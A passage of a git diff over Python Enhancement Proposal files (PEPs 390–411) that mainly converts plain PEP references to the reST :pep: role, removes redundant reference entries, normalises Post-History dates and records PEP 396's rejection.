(see section 3.1.1), +with ``ConfigParser`` and the :rfc:`822` ``LONG HEADER FIELDS`` (see section 3.1.1), these are expressed with ``,``-separated values:: requires = pywin32, bar > 1.0, foo @@ -124,7 +125,7 @@ Every ``[metadata:condition]`` section will be used only if the condition is met when the file is read. The background motivation for these context-dependant sections is to be able to define requirements that varies depending on the platform the distribution might be installed on. -(see PEP 314). +(see :pep:`314`). The micro-language behind this is the simplest possible: it compares only strings, with the ``==`` and ``in`` operators (and their opposites), and @@ -206,7 +207,7 @@ for another environment:: >>> metadata.get_requires() ['bar > 1.0', 'foo', 'bar'] -PEP 314 is changed accordingly, meaning that each field will be able to +:pep:`314` is changed accordingly, meaning that each field will be able to have that extra condition marker. Compatibility @@ -224,7 +225,7 @@ Limitations We are not providing ``<`` and ``>`` operators at this time, and ``python_version`` is a regular string. This implies using ``or`` operators when a section needs to be restricted to a couple of Python versions. -Although, if PEP 386 is accepted, ``python_version`` could be changed +Although, if :pep:`386` is accepted, ``python_version`` could be changed internally into something comparable with strings, and ``<`` and ``>`` operators introduced. diff --git a/pep-0391.txt b/pep-0391.txt index d16dfd3e9b2..d6050e30f27 100644 --- a/pep-0391.txt +++ b/pep-0391.txt @@ -79,9 +79,9 @@ to which it must conform). Naming ------ -Historically, the logging package has not been PEP 8 conformant [1]_. +Historically, the logging package has not been :pep:`8` conformant. At some future time, this will be corrected by changing method and -function names in the package in order to conform with PEP 8. +function names in the package in order to conform with :pep:`8`. However, in the interests of uniformity, the proposed additions to the API use a naming scheme which is consistent with the present scheme used by logging. @@ -678,13 +678,6 @@ http://bitbucket.org/vinay.sajip/dictconfig This incorporates all features other than the socket listener change. -References -========== - -.. [1] PEP 8, Style Guide for Python Code, van Rossum, Warsaw - (http://www.python.org/dev/peps/pep-0008) - - Copyright ========= diff --git a/pep-0392.txt b/pep-0392.txt index 0ce3b5ebab6..82da4323cfa 100644 --- a/pep-0392.txt +++ b/pep-0392.txt @@ -110,20 +110,12 @@ Release Schedule Features for 3.2 ================ -Note that PEP 3003 [#pep3003]_ is in effect: no changes to language +Note that :pep:`3003` is in effect: no changes to language syntax and no additions to the builtins may be made. No large-scale changes have been recorded yet. -References -========== - -.. [#pep3003] - http://www.python.org/dev/peps/pep-3003/ - - - Copyright ========= diff --git a/pep-0393.txt b/pep-0393.txt index 176dd0170c4..75c0aacabcc 100644 --- a/pep-0393.txt +++ b/pep-0393.txt @@ -263,7 +263,7 @@ UCS4 utility functions: Stable ABI ---------- -The following functions are added to the stable ABI (PEP 384), as they +The following functions are added to the stable ABI (:pep:`384`), as they are independent of the actual representation of Unicode objects: PyUnicode_New, PyUnicode_Substring, PyUnicode_GetLength, PyUnicode_ReadChar, PyUnicode_WriteChar, PyUnicode_Find, diff --git a/pep-0394.txt b/pep-0394.txt index c2c83d57e87..10ad8a911ba 100644 --- a/pep-0394.txt +++ b/pep-0394.txt @@ -87,7 +87,7 @@ For Python runtime distributors * Changing ``python3`` shebangs to ``python3.8`` if the software is built with Python 3.8. -* When a virtual environment (created by the PEP 405 ``venv`` package or a +* When a virtual environment (created by the :pep:`405` ``venv`` package or a similar tool such as ``virtualenv`` or ``conda``) is active, the ``python`` command should refer to the virtual environment's interpreter and should always be available. @@ -174,7 +174,7 @@ on the part of distribution maintainers. Simplified, the recommendation was: the version explicitly. However, these recommendations implicitly assumed that Python 2 would always be -available. As Python 2 is nearing its end of life in 2020 (PEP 373, PEP 404), +available. As Python 2 is nearing its end of life in 2020 (:pep:`373`, :pep:`404`), distributions are making Python 2 optional or removing it entirely. This means either removing the ``python`` command or switching it to invoke Python 3. Some distributors also decided that their users were better served by @@ -338,7 +338,7 @@ Exclusion of MS Windows This PEP deliberately excludes any proposals relating to Microsoft Windows, as devising an equivalent solution for Windows was deemed too complex to handle -here. PEP 397 and the related discussion on the python-dev mailing list +here. :pep:`397` and the related discussion on the python-dev mailing list address this issue. @@ -348,13 +348,13 @@ References .. [1] Support the /usr/bin/python2 symlink upstream (with bonus grammar class!) (https://mail.python.org/pipermail/python-dev/2011-March/108491.html) -.. [2] Rebooting \PEP 394 (aka Support the /usr/bin/python2 symlink upstream) +.. [2] Rebooting PEP 394 (aka Support the /usr/bin/python2 symlink upstream) (https://mail.python.org/pipermail/python-dev/2011-July/112322.html) -.. [3] Implement \PEP 394 in the CPython Makefile +.. [3] Implement PEP 394 in the CPython Makefile (http://bugs.python.org/issue12627) -.. [4] \PEP 394 request for pronouncement (python2 symlink in \*nix systems) +.. [4] PEP 394 request for pronouncement (python2 symlink in \*nix systems) (https://mail.python.org/pipermail/python-dev/2012-February/116435.html) .. [5] Arch Linux announcement that their "python" link now refers Python 3 diff --git a/pep-0395.txt b/pep-0395.txt index a67256b2cc0..f35a2658e66 100644 --- a/pep-0395.txt +++ b/pep-0395.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 04-Mar-2011 Python-Version: 3.4 -Post-History: 5-Mar-2011, 19-Nov-2011 +Post-History: 05-Mar-2011, 19-Nov-2011 PEP Withdrawal @@ -34,7 +34,7 @@ This PEP proposes new mechanisms that eliminate some longstanding traps for the unwary when dealing with Python's import system, as well as serialisation and introspection of functions and classes. -It builds on the "Qualified Name" concept defined in PEP 3155. +It builds on the "Qualified Name" concept defined in :pep:`3155`. Relationship with Other PEPs @@ -42,18 +42,18 @@ Relationship with Other PEPs Most significantly, this PEP is currently deferred as it requires significant changes in order to be made compatible with the removal -of mandatory __init__.py files in PEP 420 (which has been implemented +of mandatory __init__.py files in :pep:`420` (which has been implemented and released in Python 3.3). -This PEP builds on the "qualified name" concept introduced by PEP 3155, and +This PEP builds on the "qualified name" concept introduced by :pep:`3155`, and also shares in that PEP's aim of fixing some ugly corner cases when dealing with serialisation of arbitrary functions and classes. -It also builds on PEP 366, which took initial tentative steps towards making +It also builds on :pep:`366`, which took initial tentative steps towards making explicit relative imports from the main module work correctly in at least *some* circumstances. -Finally, PEP 328 eliminated implicit relative imports from imported modules. +Finally, :pep:`328` eliminated implicit relative imports from imported modules. This PEP proposes that the de facto implicit relative imports from main modules that are provided by the current initialisation behaviour for ``sys.path[0]`` also be eliminated. @@ -173,7 +173,7 @@ executing it directly:: # working directory: project python -c "from package.tests.test_foo import main; main()" -Since the implementation of PEP 366 (which defined a mechanism that allows +Since the implementation of :pep:`366` (which defined a mechanism that allows relative imports to work correctly when a module inside a package is executed via the ``-m`` switch), the following also works properly:: @@ -287,12 +287,12 @@ Qualified Names for Modules To make it feasible to fix these problems once and for all, it is proposed to add a new module level attribute: ``__qualname__``. This abbreviation of -"qualified name" is taken from PEP 3155, where it is used to store the naming +"qualified name" is taken from :pep:`3155`, where it is used to store the naming path to a nested class or function definition relative to the top level module. For modules, ``__qualname__`` will normally be the same as ``__name__``, just -as it is for top-level functions and classes in PEP 3155. However, it will +as it is for top-level functions and classes in :pep:`3155`. However, it will differ in some situations so that the above problems can be addressed. Specifically, whenever ``__name__`` is modified for some other purpose (such @@ -311,22 +311,22 @@ Two alternative names were also considered for the new attribute: "full name" (``__fullname__``) and "implementation name" (``__implname__``). Either of those would actually be valid for the use case in this PEP. -However, as a meta-issue, PEP 3155 is *also* adding a new attribute (for +However, as a meta-issue, :pep:`3155` is *also* adding a new attribute (for functions and classes) that is "like ``__name__``, but different in some cases where ``__name__`` is missing necessary information" and those terms aren't -accurate for the PEP 3155 function and class use case. +accurate for the :pep:`3155` function and class use case. -PEP 3155 deliberately omits the module information, so the term "full name" +:pep:`3155` deliberately omits the module information, so the term "full name" is simply untrue, and "implementation name" implies that it may specify an object other than that specified by ``__name__``, and that is never the -case for PEP 3155 (in that PEP, ``__name__`` and ``__qualname__`` always +case for :pep:`3155` (in that PEP, ``__name__`` and ``__qualname__`` always refer to the same function or class, it's just that ``__name__`` is insufficient to accurately identify nested functions and classes). Since it seems needlessly inconsistent to add *two* new terms for attributes that only exist because backwards compatibility concerns keep us from changing the behaviour of ``__name__`` itself, this PEP instead chose to -adopt the PEP 3155 terminology. +adopt the :pep:`3155` terminology. If the relative inscrutability of "qualified name" and ``__qualname__`` encourages interested developers to look them up at least once rather than @@ -525,7 +525,7 @@ as follows:: Compatibility with PEP 382 ~~~~~~~~~~~~~~~~~~~~~~~~~~ -Making this proposal compatible with the PEP 382 namespace packaging PEP is +Making this proposal compatible with the :pep:`382` namespace packaging PEP is trivial. The semantics of ``_is_package_dir()`` are merely changed to be:: def _is_package_dir(fspath): @@ -537,7 +537,7 @@ trivial. The semantics of ``_is_package_dir()`` are merely changed to be:: Incompatibility with PEP 402 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -PEP 402 proposes the elimination of explicit markers in the file system for +:pep:`402` proposes the elimination of explicit markers in the file system for Python packages. This fundamentally breaks the proposed concept of being able to take a filesystem path and a Python module name and work out an unambiguous mapping to the Python module namespace. Instead, the appropriate mapping @@ -545,7 +545,7 @@ would depend on the current values in ``sys.path``, rendering it impossible to ever fix the problems described above with the calculation of ``sys.path[0]`` when the interpreter is initialised. -While some aspects of this PEP could probably be salvaged if PEP 402 were +While some aspects of this PEP could probably be salvaged if :pep:`402` were adopted, the core concept of making import semantics from main and other modules more consistent would no longer be feasible. diff --git a/pep-0396.txt b/pep-0396.txt index 5206e2ab9a0..bc022971f2b 100644 --- a/pep-0396.txt +++ b/pep-0396.txt @@ -3,11 +3,12 @@ Title: Module Version Numbers Version: $Revision: 65628 $ Last-Modified: $Date: 2008-08-10 09:59:20 -0400 (Sun, 10 Aug 2008) $ Author: Barry Warsaw -Status: Deferred +Status: Rejected Type: Informational +Topic: Packaging Content-Type: text/x-rst Created: 16-Mar-2011 -Post-History: 2011-04-05 +Post-History: 05-Apr-2011 Abstract @@ -24,13 +25,13 @@ Conformance with this PEP is optional, however other Python tools (such as ``distutils2`` [1]_) may be adapted to use the conventions defined here. -PEP Deferral -============ +PEP Rejection +============= -Further exploration of the concepts covered in this PEP has been deferred -for lack of a current champion interested in promoting the goals of the PEP -and collecting and incorporating feedback, and with sufficient available -time to do so effectively. +This PEP was formally rejected on 2021-04-14. The packaging ecosystem +has changed significantly in the intervening years since this PEP was +first written, and APIs such as ``importlib.metadata.version()`` [11]_ +provide for a much better experience. User Stories ============ @@ -76,7 +77,7 @@ ways have grown organically over the years. Often, version numbers can be retrieved from a module programmatically, by importing the module and inspecting an attribute. Classic Python distutils ``setup()`` functions [3]_ describe a ``version`` argument where the -release's version number can be specified. PEP 8 [4]_ describes the +release's version number can be specified. :pep:`8` describes the use of a module attribute called ``__version__`` for recording "Subversion, CVS, or RCS" version strings using keyword expansion. In the PEP author's own email archives, the earliest example of the use @@ -120,14 +121,14 @@ Specification #. The ``__version__`` attribute's value SHOULD be a string. #. Module version numbers SHOULD conform to the normalized version - format specified in PEP 386 [6]_. + format specified in :pep:`386`. #. Module version numbers SHOULD NOT contain version control system supplied revision numbers, or any other semantically different version numbers (e.g. underlying library version number). #. The ``version`` attribute in a classic distutils ``setup.py`` - file, or the PEP 345 [7]_ ``Version`` metadata field SHOULD be + file, or the :pep:`345` ``Version`` metadata field SHOULD be derived from the ``__version__`` field, or vice versa. @@ -256,10 +257,10 @@ programmatically. E.g. in ``elle.py``:: PEP 376 metadata ================ -PEP 376 [10]_ defines a standard for static metadata, but doesn't +:pep:`376` defines a standard for static metadata, but doesn't describe the process by which this metadata gets created. It is highly desirable for the derived version information to be placed into -the PEP 376 ``.dist-info`` metadata at build-time rather than +the :pep:`376` ``.dist-info`` metadata at build-time rather than install-time. This way, the metadata will be available for introspection even when the code is not installed. @@ -275,25 +276,16 @@ References .. [3] http://docs.python.org/distutils/setupscript.html -.. [4] PEP 8, Style Guide for Python Code - (http://www.python.org/dev/peps/pep-0008) - .. [5] sqlite3 module documentation (http://docs.python.org/library/sqlite3.html) -.. [6] PEP 386, Changing the version comparison module in Distutils - (http://www.python.org/dev/peps/pep-0386/) - -.. [7] PEP 345, Metadata for Python Software Packages 1.2 - (http://www.python.org/dev/peps/pep-0345/#version) - .. [8] pkgutil - Package utilities (http://distutils2.notmyidea.org/library/pkgutil.html) .. [9] https://mail.python.org/pipermail/distutils-sig/2011-June/017862.html -.. [10] PEP 376, Database of Installed Python Distributions - (http://www.python.org/dev/peps/pep-0376/) +.. [11] importlib.metadata + (https://docs.python.org/3/library/importlib.metadata.html#distribution-versions) Copyright diff --git a/pep-0397.txt b/pep-0397.txt index e3d07d62e2c..3972e92dbc5 100644 --- a/pep-0397.txt +++ b/pep-0397.txt @@ -8,7 +8,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 15-Mar-2011 -Post-History: 21-July-2011, 17-May-2011, 15-Mar-2011 +Post-History: 21-Jul-2011, 17-May-2011, 15-Mar-2011 Resolution: https://mail.python.org/pipermail/python-dev/2012-June/120505.html Abstract @@ -51,8 +51,8 @@ particular version of Python installed under the operating-system. These symbolic links allow Python to be executed without regard for where Python it actually installed on the machine (eg., without requiring the path where Python is actually installed to be -referenced in the shebang line or in the ``PATH``.) PEP 394 'The "python" -command on Unix-Like Systems' [2]_ describes additional conventions +referenced in the shebang line or in the ``PATH``.) :pep:`394` 'The "python" +command on Unix-Like Systems' describes additional conventions for more fine-grained specification of a particular Python version. These 2 facilities combined allow for a portable and somewhat @@ -411,8 +411,6 @@ References .. [1] http://linux.die.net/man/2/execve -.. [2] http://www.python.org/dev/peps/pep-0394/ - .. [3] https://bitbucket.org/vinay.sajip/pylauncher .. [4] https://bitbucket.org/vinay.sajip/pylauncher/src/tip/Doc/launcher.rst diff --git a/pep-0398.txt b/pep-0398.txt index 2ab06965b8f..30d4bf36fe5 100644 --- a/pep-0398.txt +++ b/pep-0398.txt @@ -129,24 +129,24 @@ Features for 3.3 Implemented / Final PEPs: -* PEP 362: Function Signature Object -* PEP 380: Syntax for Delegating to a Subgenerator -* PEP 393: Flexible String Representation -* PEP 397: Python launcher for Windows -* PEP 399: Pure Python/C Accelerator Module Compatibility Requirements -* PEP 405: Python Virtual Environments -* PEP 409: Suppressing exception context -* PEP 412: Key-Sharing Dictionary -* PEP 414: Explicit Unicode Literal for Python 3.3 -* PEP 415: Implement context suppression with exception attributes -* PEP 417: Including mock in the Standard Library -* PEP 418: Add monotonic time, performance counter, and process time functions -* PEP 420: Implicit Namespace Packages -* PEP 421: Adding sys.implementation -* PEP 3118: Revising the buffer protocol (protocol semantics finalised) -* PEP 3144: IP Address manipulation library -* PEP 3151: Reworking the OS and IO exception hierarchy -* PEP 3155: Qualified name for classes and functions +* :pep:`362`: Function Signature Object +* :pep:`380`: Syntax for Delegating to a Subgenerator +* :pep:`393`: Flexible String Representation +* :pep:`397`: Python launcher for Windows +* :pep:`399`: Pure Python/C Accelerator Module Compatibility Requirements +* :pep:`405`: Python Virtual Environments +* :pep:`409`: Suppressing exception context +* :pep:`412`: Key-Sharing Dictionary +* :pep:`414`: Explicit Unicode Literal for Python 3.3 +* :pep:`415`: Implement context suppression with exception attributes +* :pep:`417`: Including mock in the Standard Library +* :pep:`418`: Add monotonic time, performance counter, and process time functions +* :pep:`420`: Implicit Namespace Packages +* :pep:`421`: Adding sys.implementation +* :pep:`3118`: Revising the buffer protocol (protocol semantics finalised) +* :pep:`3144`: IP Address manipulation library +* :pep:`3151`: Reworking the OS and IO exception hierarchy +* :pep:`3155`: Qualified name for classes and functions Other final large-scale changes: @@ -169,9 +169,9 @@ Other planned large-scale changes: Deferred to post-3.3: -* PEP 395: Qualified Names for Modules -* PEP 3143: Standard daemon process library -* PEP 3154: Pickle protocol version 4 +* :pep:`395`: Qualified Names for Modules +* :pep:`3143`: Standard daemon process library +* :pep:`3154`: Pickle protocol version 4 * Breaking out standard library and docs in separate repos * Addition of the "packaging" module, deprecating "distutils" * Addition of the "regex" module diff --git a/pep-0400.txt b/pep-0400.txt index e2fa023156c..acb35694c97 100644 --- a/pep-0400.txt +++ b/pep-0400.txt @@ -19,10 +19,10 @@ StreamReaderWriter. Duplicate code means that bugs should be fixed twice and that we may have subtle differences between the two implementations. -The codecs module was introduced in Python 2.0 (see the `PEP 100 -`_). The io module was -introduced in Python 2.6 and 3.0 (see the `PEP 3116 -`_), and reimplemented in C in +The codecs module was introduced in Python 2.0 (see the :pep:`100`). +The io module was +introduced in Python 2.6 and 3.0 (see the :pep:`3116`), +and reimplemented in C in Python 2.7 and 3.1. PEP Deferral @@ -47,9 +47,9 @@ since the release of Python 3.0. This new interface overlaps heavily with the legacy codecs.StreamReader, codecs.StreamWriter and codecs.StreamReaderWriter interfaces that were part of the original codec interface design in -PEP 100. These interfaces are organised around the principle of an +:pep:`100`. These interfaces are organised around the principle of an encoding with an associated stream (i.e. the reverse of arrangement in -the io module), so the original PEP 100 design required that codec +the io module), so the original :pep:`100` design required that codec writers provide appropriate StreamReader and StreamWriter implementations in addition to the core codec encode() and decode() methods. This places a heavy burden on codec authors providing these @@ -192,7 +192,7 @@ file-like objects (same API). codecs.open() was the only way to open a text file in Unicode mode until Python 2.6. Many Python 2 programs uses this function. Removing codecs.open() implies more work to port programs from Python 2 to -Python 3, especially projets using the same code base for the two +Python 3, especially projects using the same code base for the two Python versions (without using 2to3 program). codecs.open() is kept for backward compatibility with Python 2. @@ -201,7 +201,7 @@ codecs.open() is kept for backward compatibility with Python 2. Deprecate StreamReader and StreamWriter ''''''''''''''''''''''''''''''''''''''' -Instanciating StreamReader or StreamWriter must emit a DeprecationWarning in +Instantiating StreamReader or StreamWriter must emit a DeprecationWarning in Python 3.3. Defining a subclass doesn't emit a DeprecationWarning. codecs.open() will be changed to reuse the builtin open() function @@ -312,9 +312,8 @@ writes a new BOM on the second write (`issue #12512 Links ===== -* `PEP 100: Python Unicode Integration - `_ -* `PEP 3116: New I/O `_ +* :pep:`PEP 100: Python Unicode Integration <100>` +* :pep:`PEP 3116: New I/O <3116>` * `Issue #8796: Deprecate codecs.open() `_ * `[python-dev] Deprecate codecs.open() and StreamWriter/StreamReader diff --git a/pep-0402.txt b/pep-0402.txt index f73f954989d..0d8a9544040 100644 --- a/pep-0402.txt +++ b/pep-0402.txt @@ -5,6 +5,7 @@ Last-Modified: $Date$ Author: P.J. Eby Status: Rejected Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 12-Jul-2011 Python-Version: 3.3 @@ -15,7 +16,7 @@ Rejection Notice ================ On the first day of sprints at US PyCon 2012 we had a long and -fruitful discussion about PEP 382 and PEP 402. We ended up rejecting +fruitful discussion about :pep:`382` and :pep:`402`. We ended up rejecting both but a new PEP will be written to carry on in the spirit of PEP 402. Martin von Löwis wrote up a summary: [3]_. @@ -28,7 +29,7 @@ to: * Surprise users of other languages less, * Make it easier to convert a module into a package, and * Support dividing packages into separately installed components - (ala "namespace packages", as described in PEP 382) + (ala "namespace packages", as described in :pep:`382`) The proposed enhancements do not change the semantics of any currently-importable directory layouts, but make it possible for @@ -95,7 +96,7 @@ vendors who package up these module distributions must somehow handle the conflict caused by several module distributions installing that ``__init__`` module to the same location in the filesystem. -This led to the proposing of PEP 382 ("Namespace Packages") - a way +This led to the proposing of :pep:`382` ("Namespace Packages") - a way to signal to Python's import machinery that a directory was importable, using unique filenames per module distribution. @@ -454,7 +455,7 @@ self-contained subpackage. Virtual Paths ------------- -A virtual path is created by obtaining a PEP 302 "importer" object for +A virtual path is created by obtaining a :pep:`302` "importer" object for each of the path entries found in ``sys.path`` (for a top-level module) or the parent ``__path__`` (for a submodule). @@ -611,7 +612,7 @@ For users, developers, and distributors of virtual packages: accidentally work. Is that good or bad? -For those implementing PEP 302 importer objects: +For those implementing :pep:`302` importer objects: * Importers that support the ``iter_modules()`` method (used by ``pkgutil`` to locate importable modules and packages) and want to diff --git a/pep-0403.txt b/pep-0403.txt index f25bf9d58b3..e91f00bb00c 100644 --- a/pep-0403.txt +++ b/pep-0403.txt @@ -8,8 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 13-Oct-2011 Python-Version: 3.4 -Post-History: 2011-10-13 -Resolution: TBD +Post-History: 13-Oct-2011 Abstract @@ -28,7 +27,7 @@ statement that uses it actually makes the code harder to read. It also avoids any name shadowing concerns by making sure the new name is visible only to the statement in the ``@in`` clause. -This PEP is based heavily on many of the ideas in PEP 3150 (Statement Local +This PEP is based heavily on many of the ideas in :pep:`3150` (Statement Local Namespaces) so some elements of the rationale will be familiar to readers of that PEP. Both PEPs remain deferred for the time being, primarily due to the lack of compelling real world use cases in either PEP. @@ -111,7 +110,7 @@ those that don't make any sense in that context, such as ``pass`` - while such code would be legal, there wouldn't be any point in writing it). This permissive structure is easier to define and easier to explain, but a more restrictive approach that only permits operations that "make sense" would -also be possible (see PEP 3150 for a list of possible candidates). +also be possible (see :pep:`3150` for a list of possible candidates). The ``@in`` clause will not create a new scope - all name binding operations aside from the trailing function or class definition will affect @@ -202,7 +201,7 @@ decorators, but covering a broader set of applications. Relation to PEP 3150 -------------------- -PEP 3150 (Statement Local Namespaces) describes its primary motivation +:pep:`3150` (Statement Local Namespaces) describes its primary motivation as being to elevate ordinary assignment statements to be on par with ``class`` and ``def`` statements where the name of the item to be defined is presented to the reader in advance of the details of how the value of that item is @@ -211,12 +210,12 @@ the simple name binding of a standard function definition to be replaced with something else (like assigning the result of the function to a value). Despite having the same author, the two PEPs are in direct competition with -each other. PEP 403 represents a minimalist approach that attempts to achieve +each other. :pep:`403` represents a minimalist approach that attempts to achieve useful functionality with a minimum of change from the status quo. This PEP instead aims for a more flexible standalone statement design, which requires a larger degree of change to the language. -Note that where PEP 403 is better suited to explaining the behaviour of +Note that where :pep:`403` is better suited to explaining the behaviour of generator expressions correctly, this PEP is better able to explain the behaviour of decorator clauses in general. Both PEPs support adequate explanations for the semantics of container comprehensions. @@ -256,7 +255,7 @@ promote short, cryptic function names (including this one, which requires that the name of the trailing definition be supplied at least twice, encouraging the use of shorthand placeholder names like ``f``). -However, the introduction of qualified names in PEP 3155 means that even +However, the introduction of qualified names in :pep:`3155` means that even anonymous classes and functions will now have different representations if they occur in different scopes. For example:: @@ -274,7 +273,7 @@ still a major improvement over the historical situation where everything Possible Implementation Strategy -------------------------------- -This proposal has at least one titanic advantage over PEP 3150: +This proposal has at least one titanic advantage over :pep:`3150`: implementation should be relatively straightforward. The ``@in`` clause will be included in the AST for the associated function or @@ -458,12 +457,12 @@ Using a nested suite -------------------- The problems with using a full nested suite are best described in -PEP 3150. It's comparatively difficult to implement properly, the scoping +:pep:`3150`. It's comparatively difficult to implement properly, the scoping semantics are harder to explain and it creates quite a few situations where there are two ways to do it without clear guidelines for choosing between them (as almost any construct that can be expressed with ordinary imperative code could instead be expressed using a given statement). While the PEP does -propose some new PEP 8 guidelines to help address that last problem, the +propose some new :pep:`8` guidelines to help address that last problem, the difficulties in implementation are not so easily dealt with. By contrast, the decorator inspired syntax in this PEP explicitly limits the @@ -474,7 +473,7 @@ binding of the function is completely unnecessary) then it probably *should* be used. Another possible variant of this idea is to keep the decorator based -*semantics* of this PEP, while adopting the prettier syntax from PEP 3150:: +*semantics* of this PEP, while adopting the prettier syntax from :pep:`3150`:: x = weakref.ref(target, report_destruction) given: def report_destruction(obj): @@ -488,7 +487,7 @@ that could potentially be addressed through a suitable definition of the suite-that-is-not-a-suite in the language grammar). However, a nested suite has not yet been ruled out completely. The latest -version of PEP 3150 uses explicit forward reference and name binding +version of :pep:`3150` uses explicit forward reference and name binding schemes that greatly simplify the semantics of the statement, and it does offer the advantage of allowing the definition of arbitrary subexpressions rather than being restricted to a single function or diff --git a/pep-0405.txt b/pep-0405.txt index 44c40eee244..22e0a262433 100644 --- a/pep-0405.txt +++ b/pep-0405.txt @@ -6,6 +6,7 @@ Author: Carl Meyer BDFL-Delegate: Nick Coghlan Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 13-Jun-2011 Python-Version: 3.3 diff --git a/pep-0406.txt b/pep-0406.txt index cad761887ce..c290980b3e3 100644 --- a/pep-0406.txt +++ b/pep-0406.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 04-Jul-2011 Python-Version: 3.4 -Post-History: 31-Jul-2011, 13-Nov-2011, 4-Dec-2011 +Post-History: 31-Jul-2011, 13-Nov-2011, 04-Dec-2011 Abstract ======== @@ -37,8 +37,8 @@ The import system has seen substantial changes since this PEP was originally written, as part of :pep:`420` in Python 3.3 and :pep:`451` in Python 3.4. While providing an encapsulation of the import state is still highly -desirable, it is better tackled in a new PEP using PEP 451 as a foundation, -and permitting only the use of PEP 451 compatible finders and loaders (as +desirable, it is better tackled in a new PEP using :pep:`451` as a foundation, +and permitting only the use of :pep:`451` compatible finders and loaders (as those avoid many of the issues of direct manipulation of global state associated with the previous loader API). @@ -66,7 +66,7 @@ over which modules can be imported). The engine would also be subclassed to make it possible to use the import engine API to interact with the existing process-global state. -The namespace PEPs (especially PEP 402) raise a potential need for +The namespace PEPs (especially :pep:`402`) raise a potential need for *additional* process global state, in order to correctly update package paths as ``sys.path`` is modified. @@ -159,7 +159,7 @@ Global variables No changes to finder/loader interfaces ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Rather than attempting to update the PEP 302 APIs to accept additional state, +Rather than attempting to update the :pep:`302` APIs to accept additional state, this PEP proposes that ``ImportEngine`` support the content management protocol (similar to the context substitution mechanisms in the ``decimal`` module). @@ -238,7 +238,7 @@ Brett Cannon's importlib has been developed by Greg Slodkowicz as part of the modifying existing code, and hence duplicates a lot of things unnecessarily. An actual implementation would just modify any such affected code in place. -That earlier draft of the PEP proposed change the PEP 302 APIs to support passing +That earlier draft of the PEP proposed change the :pep:`302` APIs to support passing in an optional engine instance. This had the (serious) downside of not correctly affecting further imports from the imported module, hence the change to the context management based proposal for substituting the global state. @@ -247,9 +247,6 @@ context management based proposal for substituting the global state. References ========== -.. [1] PEP 302, New Import Hooks, J van Rossum, Moore - (http://www.python.org/dev/peps/pep-0302) - .. [2] __import__() builtin function, The Python Standard Library documentation (http://docs.python.org/library/functions.html#__import__) diff --git a/pep-0407.txt b/pep-0407.txt index 3846e350e69..c313a2cb281 100644 --- a/pep-0407.txt +++ b/pep-0407.txt @@ -10,7 +10,6 @@ Type: Process Content-Type: text/x-rst Created: 12-Jan-2012 Post-History: 17-Jan-2012 -Resolution: TBD Abstract @@ -145,7 +144,7 @@ These are open issues that should be worked out during discussion: * What is the policy for security fixes? * Restrict new syntax and similar changes (i.e. everything that was - prohibited by PEP 3003) to LTS versions? + prohibited by :pep:`3003`) to LTS versions? * What is the effect on packagers such as Linux distributions? diff --git a/pep-0408.txt b/pep-0408.txt index 333b2545ba5..bc34c01390a 100644 --- a/pep-0408.txt +++ b/pep-0408.txt @@ -9,7 +9,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 07-Jan-2012 Python-Version: 3.3 -Post-History: 2012-01-27 +Post-History: 27-Jan-2012 Resolution: https://mail.python.org/pipermail/python-dev/2012-January/115962.html @@ -81,7 +81,7 @@ with an API that has wide acceptance in the Python development community. In any case, modules that are proposed to be added to the standard library, whether via ``__preview__`` or directly, must fulfill the acceptance conditions -set by PEP 2. +set by :pep:`2`. It is important to stress that the aim of this proposal is not to make the process of adding new modules to the standard library more difficult. On the @@ -185,25 +185,25 @@ Candidates for inclusion into __preview__ For Python 3.3, there are a number of clear current candidates: * ``regex`` (http://pypi.python.org/pypi/regex) -* ``daemon`` (PEP 3143) -* ``ipaddr`` (PEP 3144) +* ``daemon`` (:pep:`3143`) +* ``ipaddr`` (:pep:`3144`) Other possible future use cases include: * Improved HTTP modules (e.g. ``requests``) * HTML 5 parsing support (e.g. ``html5lib``) * Improved URL/URI/IRI parsing -* A standard image API (PEP 368) -* Encapsulation of the import state (PEP 368) -* Standard event loop API (PEP 3153) -* A binary version of WSGI for Python 3 (e.g. PEP 444) +* A standard image API (:pep:`368`) +* Encapsulation of the import state (:pep:`368`) +* Standard event loop API (:pep:`3153`) +* A binary version of WSGI for Python 3 (e.g. :pep:`444`) * Generic function support (e.g. ``simplegeneric``) Relationship with PEP 407 ========================= -PEP 407 proposes a change to the core Python release cycle to permit interim +:pep:`407` proposes a change to the core Python release cycle to permit interim releases every 6 months (perhaps limited to standard library updates). If such a change to the release cycle is made, the following policy for the ``__preview__`` namespace is suggested: diff --git a/pep-0409.txt b/pep-0409.txt index 8bf2047f58e..ac0c4c04fbc 100644 --- a/pep-0409.txt +++ b/pep-0409.txt @@ -15,7 +15,7 @@ Resolution: https://mail.python.org/pipermail/python-dev/2012-February/116136.ht Abstract ======== -One of the open issues from PEP 3134 is suppressing context: currently +One of the open issues from :pep:`3134` is suppressing context: currently there is no way to do it. This PEP proposes one. @@ -89,7 +89,7 @@ Implementation Discussion ========================= Note: after acceptance of this PEP, a cleaner implementation mechanism -was proposed and accepted in PEP 415. Refer to that PEP for more +was proposed and accepted in :pep:`415`. Refer to that PEP for more details on the implementation actually used in Python 3.3. Currently, ``None`` is the default for both ``__context__`` and ``__cause__``. diff --git a/pep-0411.txt b/pep-0411.txt index cf5b0276dbd..77ef98f1921 100644 --- a/pep-0411.txt +++ b/pep-0411.txt @@ -9,7 +9,7 @@ Type: Informational Content-Type: text/x-rst Created: 10-Feb-2012 Python-Version: 3.3 -Post-History: 2012-02-10, 2012-03-24 +Post-History: 10-Feb-2012, 24-Mar-2012 Abstract @@ -72,7 +72,7 @@ The phrase "provisional basis" will then be a link to the glossary term This process allows the standard library to continue to evolve over time, without locking in problematic design errors for extended periods of time. - See PEP 411 for more details. + See :pep:`411` for more details. The following will be added to the start of the package's docstring: @@ -95,7 +95,7 @@ community. In any case, packages that are proposed to be added to the standard library, whether via the provisional state or directly, must fulfill the acceptance -conditions set by PEP 2. +conditions set by :pep:`2`. Criteria for "graduation" ------------------------- @@ -169,25 +169,25 @@ Candidates for provisional inclusion 